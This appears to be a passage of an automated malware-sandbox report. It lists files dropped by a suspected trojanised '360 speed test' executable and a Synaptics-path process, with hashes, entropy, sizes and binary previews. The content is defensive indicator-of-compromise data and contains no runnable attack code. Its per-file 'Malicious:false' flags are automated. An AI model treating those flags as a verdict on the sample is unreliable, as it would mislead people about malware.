                                                                                                                                                                          Preview:EA06..\......................Z..F@............'.!.@i...R.i....+}..a..,v.u..t.X...... ...J}NAm..,..l6.$.C.&K..Ch....&...]....D....h."..q..........,..0.Yzo;`...y...W..0."...f...T.6;@......(...2...akZ.p........... .(...............@.)..@..(..@.5..@.Sn....>P..q..3..F.............@4..4..d..L....f#.......E.............$......,. ...]t......6......c..$.d....d..,0.........Af.Y.@.............."........K.W;...0..=.. . .@..>[...o.)+...L@%...P....S...?..[.............`..]....A...MC.....L]...!....8.`...F.-..`...^....s..a...."%..L...$....T.y.&0. ..$.L/n....?..^0.n..=...s...6xP....U.@*~. .k..g......U.L...\..I.C.........<......E.~.>.i..a.Q.~W...A+..GD..... ./..Dt..........'..e........F7H..d!..|#...L..?Lk.d.@&},..9.....+...`.S.............I$.........Q..O...H.*.I.6....$.@.S...p1...#...`.......0_ X...~d@....'................t......@L.. .A..1..kq.......z. .......4\..._ ....Q...Z.....c`.......@.X.....g@K.]rI....P......6.....=......|.P.o...m.]RI...@._'......|Q......u.E........i......#

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut323D.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):397620
                                                                                                                                                                          Entropy (8bit):7.789760071539687
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12288:k9lbM7fEjmegvb/KEsawt7b+KLPgL5D53:k9lIhRrKik7OR
                                                                                                                                                                          MD5:5CA9DF74C2570BFD2B0BAEFCB1407B8A
                                                                                                                                                                          SHA1:19692F0F53BEAB57091E479B2D370B368E9DD631
                                                                                                                                                                          SHA-256:8788DFDEDF5D53F510B8182A09A035A2A62BE7F2A1B85A1550367EC54AD1E0DE
                                                                                                                                                                          SHA-512:65B0D092F7058EDF2EDD68ECCCBDBD66D6F75F046D9723682EB0C96E6A30744FD4D05ED0D377941F6916FBD6565716B05648651E6565AAE1728BD757A15FCBFA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06...x.....................Z..F@............'.!.@i...R.i....+}..a..,v.u..t.X...... ...J}NAm..,..l6.$.C.j...W.8...&.:..n...m..n.X. .N.....A.F..*.F3..._~.........?.......P.E..H.....EW..@.*...h.h@0.P.. .......f.....@ R.\....]....J..)O+0h.. ..d......1.@ .P.L..j........,.|.@@.h.....0....b.......$*.,.. ..|....\.....E.bX|.!S.@,.HD.8.).......@....u..x..... .G........;...t.. ..T..........(...........0...B.....iF...||.u..r..........W ........Ym....Yq.......a..>J.........b.H&....D7.P........8.d....I ..$..P...x\....C8`....z.HDC.".A...V..x.`.7....>.I$".t....H......( .....w`.z......H.@..1P..$...H.0.Z.....c ...^.nT=.......(|...N....\.L_B...`.t.......eF...` ..#....v.$.....x..O.P....|.K.R..o.E.............`...~.......43.....|M.!......D..^.bh........P.....A..`...B....x>(t....n.#P....bC...EZ......d..Q..$..].aR...."!.........u....^..!.....J.G...P2....~..G.;....T.E*X.......n....y...$....._....B....10l]..P.v.j.G....z(|H ........p...(?.).X.....Pz..A..2......(>....0.}........q

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut3367.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):219122
                                                                                                                                                                          Entropy (8bit):7.786589455447888
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6144:hRuN29Y5HxdgaJdAu72sj6wr3Ud5FEDimrCAla:TKkaJeC6yAEDisBla
                                                                                                                                                                          MD5:8F013F18560B794B22D1A71E563C5472
                                                                                                                                                                          SHA1:D3712310F681196BA0613336A295BF3EF5130850
                                                                                                                                                                          SHA-256:CEA304D162DA683B3D6C370AA1192135F150DD8D146E7C40C12031DC3C14C77C
                                                                                                                                                                          SHA-512:A1AA2456FA35DD1A724D3762EB55D011E3F709B52603629C5CC1727B3BBD2D342516CEF01172E5A43167C995859629A7979F7A4F07B19A6B816E4D3896258E75
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06........................Z..F@.~...!......'.!.@i...R.i....+}..a..,v.u..t.X...... ...J}NAm..,..l6.$.D....Mf.+..&._...h..b/0@..yN... ..F.. .79..e.....(....@..)]...q...ER.........P.. .......*....@ R.\.....................D...........d.#P......[ ....\.Y..l......./.S2..,....A...(...PX..:.B....p...@#.0.v.....@*......],....;...H......|2......Y,7K.....~g...o..~......'..y...6.P.......||.u..r....P.L@........K.V[e....Q.A1.....@.....?.....>..R...........|..$....l .....wt.....C....>....C..|U.....I...&\...w@...........>..P.D.E..8......&|LN.I...*.{@.;..I<...C.L.D*>...9..I8.......o......R.n.....!..D.p.....>.>z_F.....$.................. ......Z&...g.`.......C.u....=.`...0.....E......#..0.9p...........@.!h..9V....,...u.....4......D..*1h..Kh.......R.....!..C-U..... a.^...3..4...)..z1T.......9.X..!..]a..F....... ...I .F..I.K......M.C..L\7Q..D=.Z........@X.#.L.A*......._....k.@ .^.?*.........0.......E..Y.....A$.Xv.....!...&...........K.....6...b7..........EHeB.R.s..&...

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut352D.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):116306
                                                                                                                                                                          Entropy (8bit):7.790366012052442
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:KU3pyWbYBP5J27AWzsE2Ck4mFNuqVY7a8UvuZu6:KgpyyYTJ2h2jNuqhvuZu6
                                                                                                                                                                          MD5:9120F6D4218818837623BC2554B7562B
                                                                                                                                                                          SHA1:20670F472D86F505B12E40616204DF5207E39CFF
                                                                                                                                                                          SHA-256:F18B4E08658D2582403B9E98C4F743426CF5EE02F0977440FD5B466C8D8F113C
                                                                                                                                                                          SHA-512:30F4670418FD6EA22E48FE50C58F8403193EB8F29547CB280F577E2F10263EDE9B0AC319AE4A9260DA822B6A835D984F61E8B6BB535B92AB302B683C02852B73
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06..5.....................Z..F@.~.@.!......'.!.@i...R.i....+}..a..,v.u..t.X...... ...J}NAm..,..l6.$.D.[........&..+.....v......".. .....p@./O...1[8YP....as;.....@.*...h.P@+5P.. .......*....@ R.\...2@...@..;T.......,....R.....P.L..j.`.......}.+.. .......@0 .f3...c....A@Q{...=....a..X#.........}.....s...9..8...%.K-.....@.8..`........\.........@?3z.5@.~......'...<.A@.....Q.p%.+......v@......y..>k...o.)+..L@%........G...?..W..0.....D.......l_....}.P.3.D.B 7HM[.a.@`.>$...p...8.....7..&..$.U..+.o.L.C1`...0.N.7X~.....`X?T....+.8~..f..k.......".......z..+.@........n6.(.6.$.Tq4I$3.>..@ .........d.!....G`....?.HV.!u.n.....g..#p>....y.Q......D..../9$....|^.I$..0...f.2.V.x...g..z.........|.D.....r.H..A3.T..=....H...Gp....!....5..I#..eB....`. ....UI$X..I#..p.v-.@.#.D.D........Z...E.?.....KT....z&.........../.. ..R.4P.^N..h./...@.R...mB.V.,.f..*..D`.$.Z/.=.....U.{...P.b.(.....#.....@.V0|I%z.[..6..GjD.. ....B.X=...*..d.(..U.{I$..........{.T...I$..FzD.!.....v1R.."."

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut35CA.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):23
                                                                                                                                                                          Entropy (8bit):4.001822825622231
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:kScovN:9coV
                                                                                                                                                                          MD5:B1761D9EE922F1AD087826D5CCE8900A
                                                                                                                                                                          SHA1:A06B37AE82A163A63B1FD282600119BA5163A20E
                                                                                                                                                                          SHA-256:56CFFC06FE9D771953A7AAFB1F25A2A0551B08520D22D39F4CEA6ED8A0CBB105
                                                                                                                                                                          SHA-512:6E133E096C9890BE4FD49D009EF0BE5E356A4F9AB1D0E8C4B516A11D6891E1EBF9BDF4F18018788B7CD8EEBF4AFD573E622BCB55D793547DC1B586939E7F40FA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[maxspeed]..0=1122466..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut3658.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1628
                                                                                                                                                                          Entropy (8bit):7.276246640851453
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:nZjj6w9eMY8Mlt0oM7He50OYoagPbckBdbn/iWpnkgm+1oyn9dtosjAWH:Zqw9eMWltdMTgDRdb/iWtBmXynzr
                                                                                                                                                                          MD5:A9FBADD276079C7BC7D0877B58F47ACA
                                                                                                                                                                          SHA1:A8F768B86E4652C254170EB7C59D981DD2A50D9A
                                                                                                                                                                          SHA-256:C403673FCD970D75819F9B7B8B3858811B6B5F64EC2B88E3D74B5324F5EC2279
                                                                                                                                                                          SHA-512:82841DE9042890B14C031056B753E89721836C72C20FA3BB3AE27522554B4AE97CD9A46BDD5C61F409206AECE5AD96DB6866995935CDEFF3CE467C4C347A51F1
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06..c<.L&.9.......d.... ..O..........>..'....f.....sW...=...I...v1|.#Y.....O..Y.......WT.Z.9.P.v....ovv...T@.......fz.l.{3..^......rz .O.7....goY..k@3.....]..<...[.........8.....f.......b..8..a..u.....W.9.[..=][...H.<|..;..ym.}..)|.{0......Q....p...l.8.f.....j7K.......Y..g.....l..X.H..?L-.B....T.......u....k8...u`......WIU.....?......[.[..._...u........@M?.@,....?P'..`..V.......X...O......4.....o.].........P....A......|`X.._P...`..x.......]....k........?.`...y.O.;M...a....C.......]GO1{.........8.q.+G...@............?.....p...C.`...`,...'.....o.;.f....,.. ....N.@.?.O.n.........._....9`X...<....g%......@W_..............X..^kC....@...f...X..x.;...ezm...........`-.`s9...@.....m.7~ WH.g.8.....e..?..X.....G.. |.WH...0....r..?..p.....W.....|....?..`B..:...0...D.^]6.a{.)x....b...M.F....^.....&..1.l@...@8.....~@...@,....?\.L............._8.^+V,...~...P.....C....`$.........`....,....n....q..?..{....=..@...g..4...&..+..`...@.@....~.X..^:..0......`.....,..{.,.......?....

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut37C0.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):353384
                                                                                                                                                                          Entropy (8bit):7.923445832822214
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6144:kvgLBlxDmoG/V02kusmeuBewb1M3TNnweBascdwWuOOB3KAP+STXdHHdf1oW3YOb:koLBld7c02kusmenGeweBdcyWuRtP+Sf
                                                                                                                                                                          MD5:0C12D6A2E84325C60305A47CD2DFCA4E
                                                                                                                                                                          SHA1:84B93D23A19823B4353022F84B91A6C036486A84
                                                                                                                                                                          SHA-256:304E7CDC6D91B92D76C6A456A6CBA33E33FCF356D4468A91709E2553B20CAD89
                                                                                                                                                                          SHA-512:D8ABBCAF3AFE6221632E0BF009B47E953A8773A786183CE56B379F5F0C4130545F08738836A77C844FB30779B96386689E70C5BA9F544D1992CD4C7784EE8146
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06...x.....................Z..F@.~......G.P...... 4.l..h........r..d.;...o.H,VY...n.Zm..%>. ...Yt6...."f1g.k.j....^.O..]..*......u......T..+...C..../|...E{.K..............Qq..*.S....(.ER.........P.. .....T..j....@ R.\....v.J...s..|t. ...$...Q....L...d.#P....v..!.......8..F...... .......K.V......g @.<.A.....A...>....A..#.3.}......T.. .....Yo.@..A..H....0......]r.Xn.......... .@..>......'...K.U@.I0.A....||.u..r....................Ym.....O.....y.A..>:.........q~.....J&|.L.I..I ... ........B(..F.....! ..$..$..h.I`....+..@..^......xx....I%..............e....g...:pH.. .....M.3z..G.....)...@.....q...[.5.|`q..6..^]#.>....ax....*.D.._J.....@0|H&.8.g...8.Y.......O|<.e..h...q.&..6...j.....D&|J.4.$.h...Ts...@...3..o.I..t.b.N$.!P.q.....3...............`...b........@..H......-.&H..P.....0.....\....@j.......b.Uz....ub.....V..P.@.K...}.....-......@.v..0..@...~....lL.6lN*....&.....b._ ..Z.....<\4...a..x.s...h.."..e$.H.[....2..X....P..c........h?...L.VlLR..U....s.. .^...

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut3948.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):160754
                                                                                                                                                                          Entropy (8bit):7.78917650100813
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:WRPBCcnx0PD8icOoJs+89P43ajH9RM7uiw36Gi6pLHz0y38AFg:q0L3cOoJsZsahRM7uiAe6pLHz3g
                                                                                                                                                                          MD5:FF9456A64EC8B815B7F693987F7CF80E
                                                                                                                                                                          SHA1:9735570AF19841A0E9F4A02A374F15BD1370B5B0
                                                                                                                                                                          SHA-256:0497C7E30A50D938B2A21F5D36BB4CF54FE39F797341745BAB9FBA92E1922EFF
                                                                                                                                                                          SHA-512:0B9B45D4992040E015B41C44F47A52230A14721009D1CC99C19CDD76033BDD509382E17E1D361CBD87CDC6BB7B6E9513DCF61CAC35B689F17133920C6C27C18E
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06..M.....................Z..F@............'.!.@i...R.i....+}..a..,v.u..t.X...... ...J}NAm..,..l6.$.C.&...ce.o..&../.....a*.?.`."...........5^......C@.,l......_....".~...N......_8.ER.........P.. ........*....@ R.\....G.F....R.q.....I0..@.......A@.2........e6.@...k......0...........N......f.H....3.......H.BF.hL.p..._.x...m>...q..0.e.K-.....`.8..`........K.VK.....Y.`....d.0.....K.....O@.O......:...'.]r..`.......@.A..P..V[e....N.A1...........O.......$....@......u..5...:.P..i...Cp....G...6......Z..^..N..y.@=.....D1t.&.......N..L.A14. .13..o.L..v.bn.G...]U.....qP.........{..@13.M....C+......s9...3.L.B1u@.R.R.g...d.9..z<8`.. ._...1.....a.`..T.E1|.EG..a..p4..G.....8.......8>.p...;..p}^....=.P......H...`.....!..W-..\..R..u.3..)...`.^...P.a.P..g.............`.>.....U............=x.R..@.5V...SN7.I...0....P.@..\..y..a~.I...V..w...X.x.....g...!....Q...<.M..h.....A.....$.Z....|.J..=.....#......W8..$.(..U..>.....T1..$j.f..$..GOc..b.I.....C*[. ...I"...f....!.H.

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut3A43.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):32
                                                                                                                                                                          Entropy (8bit):4.093139062229566
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:0cx4Bqov:0cx4Bj
                                                                                                                                                                          MD5:1FD698EDA55B404D7365BA91763E3184
                                                                                                                                                                          SHA1:DB38E2BCFCEF0FE6EE8D5E638A5877A1EACC175D
                                                                                                                                                                          SHA-256:E74AEA2DBD0114DB5386FCAF2D4871D6A19B6C00BE71A4AE2171B8160B87F07B
                                                                                                                                                                          SHA-512:D8BB1CAB300CDB6F262B172FE7AD749F2675AC7448AAA8C058C456DCF2FF98095DA7CC9B477ED7AFA974087083EEA20DCC45D96A0EC7628DA225374AA8C60840
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:[RESULT]..Speed=0..TimeStamp=0..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut3AB1.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):801822
                                                                                                                                                                          Entropy (8bit):7.846189256333929
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12288:nKgKC0Ep2EyWF5Qox0OZFv6VW1n+wxRSuBY9hpS3T3T1H0+X0mIwG8WugjG9:KG3yy5n0AN7PYXWTh058G8WV4
                                                                                                                                                                          MD5:D739AAEA40AF1CC16A5D8D2794EF6E85
                                                                                                                                                                          SHA1:E801A9C343B776563EF0735FB2C1B189050ADABD
                                                                                                                                                                          SHA-256:FE3D625D99B07D4E069D064F938C8CE1CE19E051DD1A0D13CF5245FAAAB0CD78
                                                                                                                                                                          SHA-512:FC71774E8B2E1EB8EF84641DFF4A13388458FF7FB9BF4C7AB23796142CE53F3344238BF40A6AD1B25FC5F82F507A5350FDD02EE43A8B50DCB68B68321568C6BD
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06...x.....................Z..F@............'.!.@i...R.i....+}..a..,v.u..t.X...... ...J}NAm..,..l6.$.C.....a....&.|.\....c......"..p...c....../..d..hh1....".Ls ...c....?......$g...T.6;@......(...2...Aw............. ..l......Rn..A...0......0(....i...@".`...........L.X..l..`.4sw..P.R..B#..o `.<.E`.......i6....5..G.c>..<.....&.`...]t.............c..$.d....]r.Xn........x. .C@.>......'....Ab.H8.D..>>...s.X.......o....D.C.Ym..........l..s.............*..$..P..}..|"..K6t../.^.A ....q. .o.....b.....c....>.......z:5.D........6,....t.3....B1uI$.....b...@qP....u...@..4C.L.C...E[.t..*5*..I\..b........}........c....".q|........\0..A1q.LD.C.^.....p.|..;....f|....... '..3.3.N`0.....v......@,.l...Q.he.*..g....&..U..q .....@&|.M.I....x4s.M.Z....S.A.C...E...8I*..U,.....6LH..Y.....:....\..I..C1th.C.....>...$.Lq4i."......:....`. ....A.p.......P.q|..#.s..1..N.c..X.........x4......8|.@.........}.............a.L.,,&b..a..)...]K..a...,>........@..X.p.....M..I#..w....o.@...k).M.U

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut3CD5.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):252
                                                                                                                                                                          Entropy (8bit):6.8268414554189585
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:DLaTWQzCZnG836wtuWgEysUPUkv1bF03JGkzDSbAAs9:naTWQzUp5u1UgytzDSbAAq
                                                                                                                                                                          MD5:E125278E0633220A58E152E2EE766873
                                                                                                                                                                          SHA1:4C72BC570EF26A0FC6338B965D87E45BD7F1E8E6
                                                                                                                                                                          SHA-256:0478793F55093D977BE233A0FC0CECB1879FF3914A2A6ED86F19ECC8F1894B35
                                                                                                                                                                          SHA-512:58E242ACFC64A0F3B58A2C767A496277C5008A988492B1DB256F356EA7C26417343277BB12A5B0545077DEEE8B7B5B02E9C8DDDF8A51E6374A1ACB9E067118B0
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06...6..-7;...y..aUKM..s..V..:.g..V..>.4.T/Vp...2..sZu.a7..'4 .N.i.J..j.$..gO.....(.AY.S.9.>.o.S.S..B.Y.$+TJu../...}T.....B.s... ..B.8.S.]F....f...fmP.Z.....l...t...i9..-.P.O..k..Xh...Y.1......M@....&g4...WP.LhP.U..y...%..d..o....i9.Uh..l(

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut3E2E.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):165814
                                                                                                                                                                          Entropy (8bit):7.779165403915572
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:kAi3/YHc3aCXY2tSAE2ffWaQ/RjpM+mE2ahTZlx/H5Mpd9JcEu7MKHCW3q+Lcld:fAFXB0B23W9RK+mEFTp/+TjcElSCW6se
                                                                                                                                                                          MD5:9199F825EEC5E78CA654D94D9AFF3EB6
                                                                                                                                                                          SHA1:6EC7C317EA2E87D403DF04D693D214102003D444
                                                                                                                                                                          SHA-256:BA4ED5326E8A12C1B501094E2F62AADD70AF48CBA5910B7C55EB2945E5C75477
                                                                                                                                                                          SHA-512:A7E4D93EF531527DBB870B3D5F5C7C1C0154571A6E7F7139F80C0E16554573FDE4FCB68B26193F4EAA22E13D95D75C96DAAC43236A6ED9B7CAD03048A0D184BC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06...x.....................Z..F@............'.!.@i...R.i....+}..a..,v.u..t.X...... ...J}NAm..,..l6.$.C._..D.....&..~."..F....(.".hw....C^..&.......`..(......W=..."..b@..7.m..._.@.ER.........P.. ........j....@ R.\....W.F....R.F P..@.$... .@.b.&A@.2........G..@.....,..6....N....-.H......l.H....3...x..8 .............Q...| ..B..a...[......$p.....>......Y,7K........ ..,. ...\.O..r|.r...h."..Q..%.+......v@......J..>J...e.[..H5.....0...Q.P...p....j.ch.H%C...Tj.z$.(.*..K..!..]`....YY....I_....$.h...Y....w..C1q..J.P.@*@.@.,...`.Q....DD.,../.).....!.........+..(8.A...{..g...'..u`j...m_.Fn...Y..j...d.#47.<.!3.bp.@&..U.U...P..$...2...qxI& .4..q4I$..4.....M.I...$.......n4..G.f.TZ.....aj.......M..5....x..'.^.8ax........$...W.......$p...Y..L..I .C........?...?.M..7...C...N...mRI..X?....{I..0;....0.L..X.........4?....i.H.....@6^...9.I)...?.......4.. 0.?p.@...?o..{..1........bx.7K...-}. o.y....1..4......t.G1|.......|.\....(..v..K=..;C...x@....G.bh..M.A...1u.....,.....$...

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut3EFA.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):672
                                                                                                                                                                          Entropy (8bit):7.392160816614816
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:n3oyk9bSCbOZbzUMdk14W3vSel1IvReKnNW7qg26gxkdjgCn5FuP6sz9wh:nKoCCXUckSYvSuORNno0ZHz9wh
                                                                                                                                                                          MD5:2CEBD8552DF11974FEDA1A4422F59A5A
                                                                                                                                                                          SHA1:187EFF8E02049945CD66A811F009C2AA32B9E9C4
                                                                                                                                                                          SHA-256:A30994DAE72D5C11A427963896EAE937F5D65C14A65D8F0A94B57CB6577B0086
                                                                                                                                                                          SHA-512:9E5D9CD82873B157EF26C516A7A0F39DEF4A11727A395D516100AB0BC26038112BDF734F5C4CE74961B5CA84A4578230F6B897FBBE2554A8B6D7EFB7ABB67582
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06...R.Y-.{t._/.L..Z4.e0....y..sF.Nh.I..cA.P..Y..k2.Qf39..s5.N'7..{2._..I..e0..&....1..f.)..m8.L+....a5....[.g=._-.y...b..fsi.#..n{..m..6..v..F...p8.}.....y..)..c|.N@.K..`..\&3...h..Z.+..t..V.;}..d.K...u../...vY..>k.it.]2.Lg3.u..e..o..3..sz..q5..&.J...1.Q.*....8...i..i7..f.....g.....i9..i~...+...u.\...A....`.?.d.ca...7;...t...~.p.[..Z..]9.M....cb..r.s...k2..&.i..5....:..c1.M&....a4..htZ$.s7.P. ...M.9~...e3....s9........a......e..5...|.$..&....c2..s..?.g1..O.)..m6.M.3.%.a9..h4)..m1.L.S...i2..S.....4...@9?.7...:....g5......u..u.Zl .\..&`.l.e0...|.j..a3......e1.....D...49...4.P..).....j.b.;..f3..... ...m......o....H.0.?.*.w..e...N.t..+..Y..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\aut3F2A.tmp

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):672
                                                                                                                                                                          Entropy (8bit):7.392160816614816
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:n3oyk9bSCbOZbzUMdk14W3vSel1IvReKnNW7qg26gxkdjgCn5FuP6sz9wh:nKoCCXUckSYvSuORNno0ZHz9wh
                                                                                                                                                                          MD5:2CEBD8552DF11974FEDA1A4422F59A5A
                                                                                                                                                                          SHA1:187EFF8E02049945CD66A811F009C2AA32B9E9C4
                                                                                                                                                                          SHA-256:A30994DAE72D5C11A427963896EAE937F5D65C14A65D8F0A94B57CB6577B0086
                                                                                                                                                                          SHA-512:9E5D9CD82873B157EF26C516A7A0F39DEF4A11727A395D516100AB0BC26038112BDF734F5C4CE74961B5CA84A4578230F6B897FBBE2554A8B6D7EFB7ABB67582
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EA06...R.Y-.{t._/.L..Z4.e0....y..sF.Nh.I..cA.P..Y..k2.Qf39..s5.N'7..{2._..I..e0..&....1..f.)..m8.L+....a5....[.g=._-.y...b..fsi.#..n{..m..6..v..F...p8.}.....y..)..c|.N@.K..`..\&3...h..Z.+..t..V.;}..d.K...u../...vY..>k.it.]2.Lg3.u..e..o..3..sz..q5..&.J...1.Q.*....8...i..i7..f.....g.....i9..i~...+...u.\...A....`.?.d.ca...7;...t...~.p.[..Z..]9.M....cb..r.s...k2..&.i..5....:..c1.M&....a4..htZ$.s7.P. ...M.9~...e3....s9........a......e..5...|.$..&....c2..s..?.g1..O.)..m6.M.3.%.a9..h4)..m1.L.S...i2..S.....4...@9?.7...:....g5......u..u.Zl .\..&`.l.e0...|.j..a3......e1.....D...49...4.P..).....j.b.;..f3..... ...m......o....H.0.?.*.w..e...N.t..+..Y..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\k1ap8dR.ini

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                                          File Type:HTML document, ASCII text, with very long lines (36270)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):143265
                                                                                                                                                                          Entropy (8bit):5.984851160698287
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:fZvLNNiZ816vMfpEj5Kia7RwocwrLrn0soNUmsYWA5rswfZ9R2xnobI3JbUck+h5:4ADF25syUmTPhD2x9bUP+lCM
                                                                                                                                                                          MD5:3B9A53A1CB2CDDC4BEAFD80AEB5958B6
                                                                                                                                                                          SHA1:33D1393B8025D1E766572398B546ABD7B8C212B6
                                                                                                                                                                          SHA-256:A0AE4865AF6D79AF89E4461B2607A374A0B403B0EF273A3E6C4BD9F716581877
                                                                                                                                                                          SHA-512:6941447261631EDC8BCD01AF9D257EFAD5061B83E83AF9A15770560E71C643ABBF9DA8E24719A0B9D209E9F231C2C73A3F3E491BEF1E853590DA3D27C13BA656
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:<!doctype html><html lang="en-US" dir="ltr"><head><base href="https://accounts.google.com/v3/signin/"><meta name="referrer" content="origin"><meta name="viewport" content="width=device-width, initial-scale=1"><style data-href="https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.kQDc3gsln70.L.X.O/am=DCMAUAACAFAgAAAAAAAAAAACgEQI/d=1/ed=1/rs=AOaEmlFZLzGPiQD9nNZ8m9_1ur0LgSdIaQ/m=identifierview,_b,_tp,_r" nonce="TtCA18mwCOgU9yx5kOBVlw">c-wiz{contain:style}c-wiz>c-data{display:none}c-wiz.rETSD{contain:none}c-wiz.Ubi8Z{contain:layout style}.JnOM6e{background-color:transparent;border:none;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-sizing:border-box;box-sizing:border-box;display:inline-block;font-size:14px;height:36px;letter-spacing:.15px;line-height:34px;padding:0 24px;position:relative;text-align:center}.JnOM6e:focus-visible{outline:none;position:relative}.JnOM6e:focus-visible::after{border:2px solid #185abc;border-radius:6px;bot

                                                                                                                                                                          C:\Users\user\AppData\Roaming\360safe\netmon\stdlcache\nts9442.tmp.P2P

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\AppData\Local\Temp\?????\netmon\360SpeedTest.exe
                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):51677640
                                                                                                                                                                          Entropy (8bit):2.573072840034081
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:393216:MlCJLA/Sb+uT9RL/uzgjq+1alAYRWbpuZp4kGdA:MlCt+2XV2+qRWdCXGy
                                                                                                                                                                          MD5:E3F832CAF64431607710FD9B97227D07
